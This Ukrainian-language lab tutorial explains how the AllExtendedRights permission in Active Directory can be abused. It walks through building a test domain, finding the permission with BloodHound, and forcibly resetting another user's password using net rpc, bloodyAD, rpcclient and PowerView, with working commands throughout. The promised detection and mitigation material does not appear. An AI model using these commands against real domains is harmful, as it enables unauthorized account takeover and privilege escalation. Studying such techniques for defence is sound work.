Зловживання AllExtendedRights в Active Directory представляє собою критичний вектор загроз, оскільки зловмисники можуть експлуатувати списки керування доступом (DACL) у корпоративних середовищах. У цьому дописі ми дослідимо, як дозвіл AllExtendedRights дозволяє атакуючим підвищувати привілеї, забезпечувати стійкість (persistence) у системі та потенційно захоплювати контроль над життєво важливими ресурсами каталогу — що зрештою стає вагомим плацдармом для компрометації всього домену.
Крім того, ми крок за кроком розберемо необхідне налаштування лабораторії для симуляції цих атак, використовуючи методи експлуатації, узгоджені з фреймворком MITRE ATT&CK. Також ми розглянемо стратегії виявлення підозрілої активності, пов’язаної з AllExtendedRights, і запропонуємо дієві методи мінімізації ризиків. Цей матеріал покликаний допомогти захисникам зрозуміти та протидіяти одній із найбільш прихованих форм зловживань в Active Directory. Як ви побачите далі, зловживання AllExtendedRights може тривалий час залишатися непоміченим, що робить своєчасне виявлення та запобігання надзвичайно важливими.
Зміст
- Дозвіл AllExtendedRights
- Передумови
- Налаштування лабораторії – Користувач має дозвіл AllExtendedRights
- Експлуатація – Користувач має дозвіл AllExtendedRights
- Bloodhound – Пошук слабких дозволів
- Метод експлуатації – Зміна пароля (T1110.001)
- Linux Net RPC – Samba
- Linux Net RPC – BloodAD
- Linux Net RPC – Rpcclient
- Windows PowerShell – Powerview
Дозвіл AllExtendedRights
Якщо говорити детальніше, розширені права (extended rights) — це спеціальні привілеї, які адміністратори призначають об’єктам, що дозволяє їм читати привілейовані атрибути та виконувати певні адміністративні дії.
Зокрема, цей дозвіл дає змогу зловмисникам скидати паролі на об’єктах користувачів (User objects) та готувати атаку Resource-Based Constrained Delegation (RBCD) для об’єктів комп’ютерів (Computer objects).
Як наслідок, коли доменний об’єкт має права AllExtendedRights на сам об’єкт домену і стає скомпрометованим, зловмисник отримує привілеї DS-Replication-Get-Changes та DS-Replication-Get-Changes-All. Ці права дозволяють нападнику реплікувати об’єкти каталогу з домену за допомогою техніки DCSync, що вкотре демонструє небезпеку, яку несе зловживання AllExtendedRights в Active Directory.
Передумови
- Windows Server 2019 як контролер домену Active Directory.
- Kali Linux
- Інструменти: BloodHound, Net RPC, PowerView, BloodyAD.
- Windows 10/11 — у якості клієнтської машини.
Налаштування лабораторії – Користувач має дозвіл AllExtendedRights
Для початку, у цій лабораторній роботі ми створимо двох користувачів — Kavish та Geet — і призначимо користувачу Geet дозвіл «AllExtendedRights» на об’єкт користувача Kavish.
Створення середовища AD:
Для симуляції середовища Active Directory вам спочатку знадобиться Windows Server, налаштований як контролер домену (DC). Крім того, знадобиться клієнтська машина (Windows або Linux), з якої ви зможете запускати інструменти для перерахування (enumeration) та експлуатації.
Контролер домену (Domain Controller):
- Спочатку встановіть Windows Server (рекомендується 2016 або 2019).
- Далі підвищте роль сервера до контролера домену, додавши роль Active Directory Domain Services.
- Нарешті, налаштуйте домен (наприклад, ignite.local).
Облікові записи користувачів:
- Створіть два облікові записи користувачів AD з іменами Kavish та Geet.
net user kavish Password@1 /add /domain
net user geet Password@1 /add /domain

Призначення привілею «AllExtendedRights» користувачу Geet над користувачем Kavish:**
Після налаштування середовища AD необхідно призначити привілей «AllExtendedRights» користувачу Geet для об’єкта Kavish.
Кроки:
- По-перше, відкрийте Active Directory Users and Computers (ADUC) на контролері домену.
- Потім увімкніть режим розширених функцій, натиснувши View > Advanced Features.
- Знайдіть користувача Kavish у контейнері Users.
- Натисніть правою кнопкою миші на користувача Kavish і перейдіть у Properties (Властивості).

- Перейдіть на вкладку Security (Безпека) і натисніть кнопку Add (Додати).

- У полі «Enter the object name to select» введіть Geet, натисніть Check Names, а потім — OK.

- Виберіть користувача Geet у списку та натисніть кнопку Advanced (Додатково).

- У вікні Advanced security settings (Додаткові параметри безпеки) двічі клацніть на запис дозволів для користувача Geet.

-
У розділі Permissions (Дозволи) позначте пункт All Extended Rights.
-
Нарешті, застосуйте налаштування.

Тепер Geet має дозвіл AllExtendedRights для користувача Kavish. Це означає, що Geet може змінити пароль облікового запису Kavish, не знаючи його поточного пароля.
Експлуатація
Bloodhound – Пошук слабких дозволів
Використання BloodHound для підтвердження привілеїв: Ви можете скористатися BloodHound, щоб переконатися, що Geet дійсно має дозвіл AllExtendedRights щодо користувача Kavish.
bloodhound-python -u geet -p Password@1 -ns 192.168.1.8 -d ignite.local -c All

На основі графічного представлення Bloodhound тестувальник хоче ідентифікувати вихідні об’єкти керування (outbound object control) для обраного користувача, де значення прямого керування (first degree object control) дорівнює 1.

У результаті інструмент підтверджує, що користувач Geet володіє привілеєм AllExtendedRights над користувачем Kavish.

Метод експлуатації – Зміна пароля (T1110.001)
Тестувальник може використати дозвіл AllExtendedRights, змінивши пароль користувача Kavish, не знаючи його поточного пароля.
Linux Net RPC – Samba
Ви можете виконати цю дію з UNIX-подібної системи, використовуючи net — інструмент для адміністрування Samba та CIFS/SMB клієнтів.
net rpc password kavish 'Password@987' -U ignite.local/geet%'Password@1' -S 192.168.1.8

Linux Bloody AD
Альтернативно, ви можете досягти того ж результату за допомогою bloodyAD:
bloodyAD --host "192.168.1.8" -d "ignite.local" -u "geet" -p "Password@1" set password "kavish" "Password@987"

Linux Net RPC – Rpcclient
Rpcclient також можна використовувати в UNIX-подібних системах, якщо пакет samba-common-bin відсутній.
rpcclient -U ignite.local/geet 192.168.1.8
setuserinfo kavish 23 Ignite@987

Windows PowerShell – Powerview
Зловмисник може змінити пароль користувача за допомогою модуля PowerView. Це можна зробити не тільки за допомогою командлета Set-DomainUserPassword.
powershell -ep bypass
Import-Module .PowerView.ps1
$NewPassword = ConvertTo-SecureString 'Password1234' -AsPlainText -Force
Set-DomainUserPassword -Identity 'kavish' -AccountPassword $NewPassword

Це також можна виконати в режимі verbose (детальному), щоб бачити хід виконання:
Set-DomainUserPassword -Identity 'kavish' -Verbose
